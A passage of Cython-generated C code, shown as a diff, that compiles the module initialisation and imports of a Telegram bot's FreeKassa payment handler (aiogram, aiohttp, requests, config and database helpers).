__Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_freekassa_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'freekassa_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("freekassa_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "freekassa_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_freekassa_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__freekassa_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.freekassa_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.freekassa_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/freekassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * import hmac + * import logging + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hashlib, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hashlib, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":2 + * import hashlib + * import hmac # <<<<<<<<<<<<<< + * import logging + * import time + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_hmac, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_hmac, __pyx_t_2) < 0) __PYX_ERR(0, 2, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":3 + * import hashlib + * import hmac + * import logging # <<<<<<<<<<<<<< + * import time + * import uuid + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_logging, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logging, __pyx_t_2) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":4 + * import hmac + * import logging + * import time # <<<<<<<<<<<<<< + * import uuid + * + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_time, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_time, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":5 + * import logging + * import time + * import uuid # <<<<<<<<<<<<<< + * + * import requests + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":7 + * import uuid + * + * import requests # <<<<<<<<<<<<<< + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + */ + __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_requests, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_requests, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":8 + * + * import requests + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_F)) __PYX_ERR(0, 8, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Router)) __PYX_ERR(0, 8, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_types)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Router, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":9 + * import requests + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_3) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":10 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_State)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_State); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":11 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 11, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 11, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_3) < 0) __PYX_ERR(0, 11, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":12 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 12, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":13 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * + * from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_web)) __PYX_ERR(0, 13, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_3) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":15 + * from aiohttp import web + * + * from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID # <<<<<<<<<<<<<< + * from database import add_payment, update_balance + * from handlers.payments.utils import send_payment_success_notification + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FREEKASSA_API_KEY); + __Pyx_GIVEREF(__pyx_n_s_FREEKASSA_API_KEY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FREEKASSA_API_KEY)) __PYX_ERR(0, 15, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_FREEKASSA_SHOP_ID); + __Pyx_GIVEREF(__pyx_n_s_FREEKASSA_SHOP_ID); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_FREEKASSA_SHOP_ID)) __PYX_ERR(0, 15, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FREEKASSA_API_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FREEKASSA_API_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FREEKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FREEKASSA_SHOP_ID, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":16 + * + * from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID + * from database import add_payment, update_balance # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_payment)) __PYX_ERR(0, 16, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_update_balance)) __PYX_ERR(0, 16, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":17 + * from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID + * from database import add_payment, update_balance + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 17, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* 